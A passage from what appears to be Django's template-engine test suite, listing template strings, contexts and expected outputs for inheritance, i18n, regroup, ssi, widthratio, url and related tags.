            # Inheritance from local context without use of template loader
            'inheritance24': (""{% extends context_template %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")}, '1234'),

            # Inheritance from local context with variable parent template
            'inheritance25': (""{% extends context_template.1 %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': [template.Template(""Wrong""), template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")]}, '1234'),

            # Set up a base template to extend
            'inheritance26': (""no tags"", {}, 'no tags'),

            # Inheritance from a template that doesn't have any blocks
            'inheritance27': (""{% extends 'inheritance26' %}"", {}, 'no tags'),

            # Set up a base template with a space in it.
            'inheritance 28': (""{% block first %}!{% endblock %}"", {}, '!'),

            # Inheritance from a template with a space in its name should work.
            'inheritance29': (""{% extends 'inheritance 28' %}"", {}, '!'),

            # Base template, putting block in a conditional {% if %} tag
            'inheritance30': (""1{% if optional %}{% block opt %}2{% endblock %}{% endif %}3"", {'optional': True}, '123'),

            # Inherit from a template with block wrapped in an {% if %} tag (in parent), still gets overridden
            'inheritance31': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {'optional': True}, '1two3'),
            'inheritance32': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {}, '13'),

            # Base template, putting block in a conditional {% ifequal %} tag
            'inheritance33': (""1{% ifequal optional 1 %}{% block opt %}2{% endblock %}{% endifequal %}3"", {'optional': 1}, '123'),

            # Inherit from a template with block wrapped in an {% ifequal %} tag (in parent), still gets overridden
            'inheritance34': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 1}, '1two3'),
            'inheritance35': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 2}, '13'),

            # Base template, putting block in a {% for %} tag
            'inheritance36': (""{% for n in numbers %}_{% block opt %}{{ n }}{% endblock %}{% endfor %}_"", {'numbers': '123'}, '_1_2_3_'),

            # Inherit from a template with block wrapped in an {% for %} tag (in parent), still gets overridden
            'inheritance37': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {'numbers': '123'}, '_X_X_X_'),
            'inheritance38': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {}, '_'),

            # The super block will still be found.
            'inheritance39': (""{% extends 'inheritance30' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': True}, '1new23'),
            'inheritance40': (""{% extends 'inheritance33' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': 1}, '1new23'),
            'inheritance41': (""{% extends 'inheritance36' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'numbers': '123'}, '_new1_new2_new3_'),

            # Expression starting and ending with a quote
            'inheritance42': (""{% extends 'inheritance02'|cut:' ' %}"", {}, '1234'),

            ### LOADING TAG LIBRARIES #################################################
            'load01': (""{% load testtags subpackage.echo %}{% echo test %} {% echo2 \""test\"" %}"", {}, ""test test""),
            'load02': (""{% load subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag, importing individual tags
            'load03': (""{% load echo from testtags %}{% echo this that theother %}"", {}, 'this that theother'),
            'load04': (""{% load echo other_echo from testtags %}{% echo this that theother %} {% other_echo and another thing %}"", {}, 'this that theother and another thing'),
            'load05': (""{% load echo upper from testtags %}{% echo this that theother %} {{ statement|upper }}"", {'statement': 'not shouting'}, 'this that theother NOT SHOUTING'),
            'load06': (""{% load echo2 from subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag errors
            'load07': (""{% load echo other_echo bad_tag from testtags %}"", {}, template.TemplateSyntaxError),
            'load08': (""{% load echo other_echo bad_tag from %}"", {}, template.TemplateSyntaxError),
            'load09': (""{% load from testtags %}"", {}, template.TemplateSyntaxError),
            'load10': (""{% load echo from bad_library %}"", {}, template.TemplateSyntaxError),
            'load11': (""{% load subpackage.echo_invalid %}"", {}, template.TemplateSyntaxError),
            'load12': (""{% load subpackage.missing %}"", {}, template.TemplateSyntaxError),

            'lorem1': (""{% lorem 3 w %}"", {}, ""lorem ipsum dolor""),

            ### I18N ##################################################################

            # {% spaceless %} tag
            'spaceless01': (""{% spaceless %} <b>    <i> text </i>    </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless02': (""{% spaceless %} <b> \n <i> text </i> \n </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless03': (""{% spaceless %}<b><i>text</i></b>{% endspaceless %}"", {}, ""<b><i>text</i></b>""),
            'spaceless04': (""{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"", {'text': 'This & that'}, ""<b><i>This &amp; that</i></b>""),
            'spaceless05': (""{% autoescape off %}{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}{% endautoescape %}"", {'text': 'This & that'}, ""<b><i>This & that</i></b>""),
            'spaceless06': (""{% spaceless %}<b>   <i>{{ text|safe }}</i>  </b>{% endspaceless %}"", {'text': 'This & that'}, ""<b><i>This & that</i></b>""),

            # simple translation of a string delimited by '
            'i18n01': (""{% load i18n %}{% trans 'xxxyyyxxx' %}"", {}, ""xxxyyyxxx""),

            # simple translation of a string delimited by ""
            'i18n02': ('{% load i18n %}{% trans ""xxxyyyxxx"" %}', {}, ""xxxyyyxxx""),

            # simple translation of a variable
            'i18n03': ('{% load i18n %}{% blocktrans %}{{ anton }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, ""Å""),

            # simple translation of a variable and filter
            'i18n04': ('{% load i18n %}{% blocktrans with berta=anton|lower %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),
            'legacyi18n04': ('{% load i18n %}{% blocktrans with anton|lower as berta %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),

            # simple translation of a string with interpolation
            'i18n05': ('{% load i18n %}{% blocktrans %}xxx{{ anton }}xxx{% endblocktrans %}', {'anton': 'yyy'}, ""xxxyyyxxx""),

            # simple translation of a string to german
            'i18n06': ('{% load i18n %}{% trans ""Page not found"" %}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),

            # translation of singular form
            'i18n07': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),
            'legacyi18n07': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),

            # translation of plural form
            'i18n08': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),
            'legacyi18n08': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),

            # simple non-translation (only marking) of a string to german
            'i18n09': ('{% load i18n %}{% trans ""Page not found"" noop %}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),

            # translation of a variable with a translated filter
            'i18n10': ('{{ bool|yesno:_(""yes,no,maybe"") }}', {'bool': True, 'LANGUAGE_CODE': 'de'}, 'Ja'),

            # translation of a variable with a non-translated filter
            'i18n11': ('{{ bool|yesno:""ja,nein"" }}', {'bool': True}, 'ja'),

            # usage of the get_available_languages tag
            'i18n12': ('{% load i18n %}{% get_available_languages as langs %}{% for lang in langs %}{% ifequal lang.0 ""de"" %}{{ lang.0 }}{% endifequal %}{% endfor %}', {}, 'de'),

            # translation of constant strings
            'i18n13': ('{{ _(""Password"") }}', {'LANGUAGE_CODE': 'de'}, 'Passwort'),
            'i18n14': ('{% cycle ""foo"" _(""Password"") _(\'Password\') as c %} {% cycle c %} {% cycle c %}', {'LANGUAGE_CODE': 'de'}, 'foo Passwort Passwort'),
            'i18n15': ('{{ absent|default:_(""Password"") }}', {'LANGUAGE_CODE': 'de', 'absent': """"}, 'Passwort'),
            'i18n16': ('{{ _(""<"") }}', {'LANGUAGE_CODE': 'de'}, '<'),

            # Escaping inside blocktrans and trans works as if it was directly in the
            # template.
            'i18n17': ('{% load i18n %}{% blocktrans with berta=anton|escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n18': ('{% load i18n %}{% blocktrans with berta=anton|force_escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n19': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n20': ('{% load i18n %}{% trans andrew %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n21': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'i18n22': ('{% load i18n %}{% trans andrew %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'legacyi18n17': ('{% load i18n %}{% blocktrans with anton|escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'legacyi18n18': ('{% load i18n %}{% blocktrans with anton|force_escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),

            # Use filters with the {% trans %} tag, #5972
            'i18n23': ('{% load i18n %}{% trans ""Page not found""|capfirst|slice:""6:"" %}', {'LANGUAGE_CODE': 'de'}, 'nicht gefunden'),
            'i18n24': (""{% load i18n %}{% trans 'Page not found'|upper %}"", {'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),
            'i18n25': ('{% load i18n %}{% trans somevar|upper %}', {'somevar': 'Page not found', 'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),

            # translation of plural form with extra field in singular form (#13568)
            'i18n26': ('{% load i18n %}{% blocktrans with extra_field=myextra_field count counter=number %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),
            'legacyi18n26': ('{% load i18n %}{% blocktrans with myextra_field as extra_field count number as counter %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),

            # translation of singular form in russian (#14126)
            'i18n27': ('{% load i18n %}{% blocktrans count counter=number %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),
            'legacyi18n27': ('{% load i18n %}{% blocktrans count number as counter %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),

            # simple translation of multiple variables
            'i18n28': ('{% load i18n %}{% blocktrans with a=anton b=berta %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),
            'legacyi18n28': ('{% load i18n %}{% blocktrans with anton as a and berta as b %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),

            # retrieving language information
            'i18n28_2': ('{% load i18n %}{% get_language_info for ""de"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n29': ('{% load i18n %}{% get_language_info for LANGUAGE_CODE as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {'LANGUAGE_CODE': 'fi'}, 'fi: Finnish/suomi bidi=False'),
            'i18n30': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),
            'i18n31': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': (('sl', 'Slovenian'), ('fa', 'Persian'))}, 'sl: Slovenian/Sloven\u0161\u010dina bidi=False; fa: Persian/\u0641\u0627\u0631\u0633\u06cc bidi=True; '),
            'i18n32': ('{% load i18n %}{{ ""hu""|language_name }} {{ ""hu""|language_name_local }} {{ ""hu""|language_bidi }}', {}, 'Hungarian Magyar False'),
            'i18n33': ('{% load i18n %}{{ langcode|language_name }} {{ langcode|language_name_local }} {{ langcode|language_bidi }}', {'langcode': 'nl'}, 'Dutch Nederlands False'),

            # blocktrans handling of variables which are not in the context.
            # this should work as if blocktrans was not there (bug #19915)
            'i18n34': ('{% load i18n %}{% blocktrans %}{{ missing }}{% endblocktrans %}', {}, ('', 'INVALID')),
            'i18n34_2': (""{% load i18n %}{% blocktrans with a='α' %}{{ missing }}{% endblocktrans %}"", {}, ('', 'INVALID')),
            'i18n34_3': ('{% load i18n %}{% blocktrans with a=anton %}{{ missing }}{% endblocktrans %}', {'anton': 'α'}, ('', 'INVALID')),

            # trans tag with as var
            'i18n35': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" noop as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" as page_not_found noop %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n37': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{% blocktrans %}Error: {{ page_not_found }}{% endblocktrans %}', {'LANGUAGE_CODE': 'de'}, ""Error: Seite nicht gefunden""),

            # Test whitespace in filter arguments
            'i18n38': ('{% load i18n custom %}{% get_language_info for ""de""|noop:""x y"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n38_2': ('{% load i18n custom %}{% get_language_info_list for langcodes|noop:""x y"" as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),

            ### HANDLING OF TEMPLATE_STRING_IF_INVALID ###################################

            'invalidstr01': ('{{ var|default:""Foo"" }}', {}, ('Foo', 'INVALID')),
            'invalidstr02': ('{{ var|default_if_none:""Foo"" }}', {}, ('', 'INVALID')),
            'invalidstr03': ('{% for v in var %}({{ v }}){% endfor %}', {}, ''),
            'invalidstr04': ('{% if var %}Yes{% else %}No{% endif %}', {}, 'No'),
            'invalidstr04_2': ('{% if var|default:""Foo"" %}Yes{% else %}No{% endif %}', {}, 'Yes'),
            'invalidstr05': ('{{ var }}', {}, ('', ('INVALID %s', 'var'))),
            'invalidstr06': ('{{ var.prop }}', {'var': {}}, ('', ('INVALID %s', 'var.prop'))),
            'invalidstr07': ('{% load i18n %}{% blocktrans %}{{ var }}{% endblocktrans %}',
                             {}, ('', ('INVALID %s', 'var'))),

            ### MULTILINE #############################################################

            'multiline01': (""""""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """""",
                            {},
                            """"""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """"""),

            ### REGROUP TAG ###########################################################
            'regroup01': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'c', 'bar': 1},
                                    {'foo': 'd', 'bar': 1},
                                    {'foo': 'a', 'bar': 2},
                                    {'foo': 'b', 'bar': 2},
                                    {'foo': 'x', 'bar': 3}]},
                          '1:cd,2:ab,3:x,'),

            # Test for silent failure when target variable isn't found
            'regroup02': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {}, ''),

            # Regression tests for #17675
            # The date template filter has expects_localtime = True
            'regroup03': ('{% regroup data by at|date:""m"" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.at|date:""d"" }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'at': date(2012, 2, 14)},
                                    {'at': date(2012, 2, 28)},
                                    {'at': date(2012, 7, 4)}]},
                          '02:1428,07:04,'),
            # The join template filter has needs_autoescape = True
            'regroup04': ('{% regroup data by bar|join:"""" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo|first }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'x', 'bar': ['ab', 'c']},
                                    {'foo': 'y', 'bar': ['a', 'bc']},
                                    {'foo': 'z', 'bar': ['a', 'd']}]},
                          'abc:xy,ad:z,'),

            # Test syntax
            'regroup05': ('{% regroup data by bar as %}', {},
                template.TemplateSyntaxError),
            'regroup06': ('{% regroup data by bar thisaintright grouped %}', {},
                template.TemplateSyntaxError),
            'regroup07': ('{% regroup data thisaintright bar as grouped %}', {},
                template.TemplateSyntaxError),
            'regroup08': ('{% regroup data by bar as grouped toomanyargs %}', {},
                template.TemplateSyntaxError),

            ### SSI TAG ########################################################

            # Test normal behavior
            'ssi01': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi02': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'not_here'), {}, ''),
            'ssi03': (""{%% ssi '%s' %%}"" % os.path.join(basedir, 'not_here'), {}, ''),

            # Test passing as a variable
            'ssi04': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': os.path.join(basedir, 'templates', 'ssi_include.html')}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi05': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': 'no_file'}, ''),

            # Test parsed output
            'ssi06': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include. Look ma! It parsed!\n'),
            'ssi07': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'not_here'), {'test': 'Look ma! It parsed!'}, ''),

            # Test space in file name
            'ssi08': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {}, 'This is for testing an ssi include with spaces in its name. {{ test }}\n'),
            'ssi09': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include with spaces in its name. Look ma! It parsed!\n'),

            ### TEMPLATETAG TAG #######################################################
            'templatetag01': ('{% templatetag openblock %}', {}, '{%'),
            'templatetag02': ('{% templatetag closeblock %}', {}, '%}'),
            'templatetag03': ('{% templatetag openvariable %}', {}, '{{'),
            'templatetag04': ('{% templatetag closevariable %}', {}, '}}'),
            'templatetag05': ('{% templatetag %}', {}, template.TemplateSyntaxError),
            'templatetag06': ('{% templatetag foo %}', {}, template.TemplateSyntaxError),
            'templatetag07': ('{% templatetag openbrace %}', {}, '{'),
            'templatetag08': ('{% templatetag closebrace %}', {}, '}'),
            'templatetag09': ('{% templatetag openbrace %}{% templatetag openbrace %}', {}, '{{'),
            'templatetag10': ('{% templatetag closebrace %}{% templatetag closebrace %}', {}, '}}'),
            'templatetag11': ('{% templatetag opencomment %}', {}, '{#'),
            'templatetag12': ('{% templatetag closecomment %}', {}, '#}'),

            # Simple tags with customized names
            'simpletag-renamed01': ('{% load custom %}{% minusone 7 %}', {}, '6'),
            'simpletag-renamed02': ('{% load custom %}{% minustwo 7 %}', {}, '5'),
            'simpletag-renamed03': ('{% load custom %}{% minustwo_overridden_name 7 %}', {}, template.TemplateSyntaxError),

            ### WIDTHRATIO TAG ########################################################
            'widthratio01': ('{% widthratio a b 0 %}', {'a': 50, 'b': 100}, '0'),
            'widthratio02': ('{% widthratio a b 100 %}', {'a': 0, 'b': 0}, '0'),
            'widthratio03': ('{% widthratio a b 100 %}', {'a': 0, 'b': 100}, '0'),
            'widthratio04': ('{% widthratio a b 100 %}', {'a': 50, 'b': 100}, '50'),
            'widthratio05': ('{% widthratio a b 100 %}', {'a': 100, 'b': 100}, '100'),

            # 62.5 should round to 63 on Python 2 and 62 on Python 3
            # See http://docs.python.org/py3k/whatsnew/3.0.html
            'widthratio06': ('{% widthratio a b 100 %}', {'a': 50, 'b': 80}, '62' if six.PY3 else '63'),

            # 71.4 should round to 71
            'widthratio07': ('{% widthratio a b 100 %}', {'a': 50, 'b': 70}, '71'),

            # Raise exception if we don't have 3 args, last one an integer
            'widthratio08': ('{% widthratio %}', {}, template.TemplateSyntaxError),
            'widthratio09': ('{% widthratio a b %}', {'a': 50, 'b': 100}, template.TemplateSyntaxError),
            'widthratio10': ('{% widthratio a b 100.0 %}', {'a': 50, 'b': 100}, '50'),

            # #10043: widthratio should allow max_width to be a variable
            'widthratio11': ('{% widthratio a b c %}', {'a': 50, 'b': 100, 'c': 100}, '50'),

            # #18739: widthratio should handle None args consistently with non-numerics
            'widthratio12a': ('{% widthratio a b c %}', {'a': 'a', 'b': 100, 'c': 100}, ''),
            'widthratio12b': ('{% widthratio a b c %}', {'a': None, 'b': 100, 'c': 100}, ''),
            'widthratio13a': ('{% widthratio a b c %}', {'a': 0, 'b': 'b', 'c': 100}, ''),
            'widthratio13b': ('{% widthratio a b c %}', {'a': 0, 'b': None, 'c': 100}, ''),
            'widthratio14a': ('{% widthratio a b c %}', {'a': 0, 'b': 100, 'c': 'c'}, template.TemplateSyntaxError),
            'widthratio14b': ('{% widthratio a b c %}', {'a': 0, 'b': 100, 'c': None}, template.TemplateSyntaxError),

            # Test whitespace in filter argument
            'widthratio15': ('{% load custom %}{% widthratio a|noop:""x y"" b 0 %}', {'a': 50, 'b': 100}, '0'),

            # Widthratio with variable assignment
            'widthratio16': ('{% widthratio a b 100 as variable %}-{{ variable }}-', {'a': 50, 'b': 100}, '-50-'),
            'widthratio17': ('{% widthratio a b 100 as variable %}-{{ variable }}-', {'a': 100, 'b': 100}, '-100-'),

            'widthratio18': ('{% widthratio a b 100 as %}', {}, template.TemplateSyntaxError),
            'widthratio19': ('{% widthratio a b 100 not_as variable %}', {}, template.TemplateSyntaxError),
            'widthratio20': ('{% widthratio a b 100 %}', {'a': float('inf'), 'b': float('inf')}, ''),
            'widthratio21': ('{% widthratio a b 100 %}', {'a': float('inf'), 'b': 2}, ''),

            ### WITH TAG ########################################################
            'with01': ('{% with key=dict.key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),
            'legacywith01': ('{% with dict.key as key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),

            'with02': ('{{ key }}{% with key=dict.key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),
            'legacywith02': ('{{ key }}{% with dict.key as key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),

            'with03': ('{% with a=alpha b=beta %}{{ a }}{{ b }}{% endwith %}', {'alpha': 'A', 'beta': 'B'}, 'AB'),

            'with-error01': ('{% with dict.key xx key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),
            'with-error02': ('{% with dict.key as %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),

            ### NOW TAG ########################################################
            # Simple case
            'now01': ('{% now ""j n Y"" %}', {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            # Check parsing of locale strings
            'now02': ('{% now ""DATE_FORMAT"" %}', {}, date_format(datetime.now())),
            # Also accept simple quotes - #15092
            'now03': (""{% now 'j n Y' %}"", {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now04': (""{% now 'DATE_FORMAT' %}"", {}, date_format(datetime.now())),
            'now05': ('''{% now 'j ""n"" Y'%}''', {}, '''%d ""%d"" %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now06': ('''{% now ""j 'n' Y""%}''', {}, '''%d '%d' %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),

            ### URL TAG ########################################################
            # Successes
            'url01': ('{% url ""template_tests.views.client"" client.id %}', {'client': {'id': 1}}, '/client/1/'),
            'url02': ('{% url ""template_tests.views.client_action"" id=client.id action=""update"" %}', {'client': {'id': 1}}, '/client/1/update/'),
            'url02a': ('{% url ""template_tests.views.client_action"" client.id ""update"" %}', {'client': {'id': 1}}, '/client/1/update/'),
            'url02b': (""{% url 'template_tests.views.client_action' id=client.id action='update' %}"", {'client': {'id': 1}}, '/client/1/update/'),
            'url02c': (""{% url 'template_tests.views.client_action' client.id 'update' %}"", {'client': {'id': 1}}, '/client/1/update/'),
            'url03': ('{% url ""template_tests.views.index"" %}', {}, '/'),
            'url04': ('{% url ""named.client"" client.id %}', {'client': {'id': 1}}, '/named-client/1/'),
            'url05': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url06': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url07': ('{% url ""template_tests.views.client2"" tag=v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url08': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url09': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url10': ('{% url ""template_tests.views.client_action"" id=client.id action=""two words"" %}', {'client': {'id': 1}}, '/client/1/two%20words/'),
            'url11': ('{% url ""template_tests.views.client_action"" id=client.id action=""=="" %}', {'client': {'id': 1}}, '/client/1/==/'),
            'url12': ('{% url ""template_tests.views.client_action"" id=client.id action=""!$&\'()*+,;=~:@,"" %}', {'client': {'id': 1}}, '/client/1/!$&\'()*+,;=~:@,/'),
            'url13': ('{% url ""template_tests.views.client_action"" id=client.id action=arg|join:""-"" %}', {'client': {'id': 1}, 'arg': ['a', 'b']}, '/client/1/a-b/'),
            'url14': ('{% url ""template_tests.views.client_action"" client.id arg|join:""-"" %}', {'client': {'id': 1}, 'arg': ['a', 'b']}, '/client/1/a-b/'),
            'url15': ('{% url ""template_tests.views.client_action"" 12 ""test"" %}', {}, '/client/12/test/'),
            'url18': ('{% url ""template_tests.views.client"" ""1,2"" %}', {}, '/client/1,2/'),

            'url19': ('{% url named_url client.id %}', {'named_url': 'template_tests.views.client', 'client': {'id': 1}}, '/client/1/'),
            'url20': ('{% url url_name_in_var client.id %}', {'url_name_in_var': 'named.client', 'client': {'id': 1}}, '/named-client/1/'),

            # Failures
            'url-fail01': ('{% url %}', {}, template.TemplateSyntaxError),
            'url-fail02': ('{% url ""no_such_view"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail03': ('{% url ""template_tests.views.client"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail04': ('{% url ""view"" id, %}', {}, template.TemplateSyntaxError),
            'url-fail05': ('{% url ""view"" id= %}', {}, template.TemplateSyntaxError),
            'url-fail06': ('{% url ""view"" a.id=id %}', {}, template.TemplateSyntaxError),
            'url-fail07': ('{% url ""view"" a.id!id %}', {}, template.TemplateSyntaxError),
            'url-fail08': ('{% url ""view"" id=""unterminatedstring %}', {}, template.TemplateSyntaxError),
            'url-fail09': ('{% url ""view"" id="", %}', {}, template.TemplateSyntaxError),

            'url-fail11': ('{% url named_url %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail12': ('{% url named_url %}', {'named_url': 'no_such_view'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail13': ('{% url named_url %}', {'named_url': 'template_tests.views.client'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail14': ('{% url named_url id, %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail15': ('{% url named_url id= %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail16': ('{% url named_url a.id=id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail17': ('{% url named_url a.id!id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail18': ('{% url named_url id=""unterminatedstring %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail19': ('{% url named_url id="", %}', {'named_url': 'view'}, template.TemplateSyntaxError),

            # {% url ... as var %}
            'url-asvar01': ('{% url ""template_tests.views.index"" as url %}', {}, ''),
            'url-asvar02': ('{% url ""template_tests.views.index"" as url %}{{ url }}', {}, '/'),
            'url-asvar03': ('{% url ""no_such_view"" as url %}{{ url }}', {}, ''),

            ### CACHE TAG ######################################################
            'cache03': ('{% load cache %}{% cache 2 test %}cache03{% endcache %}', {}, 'cache03'),
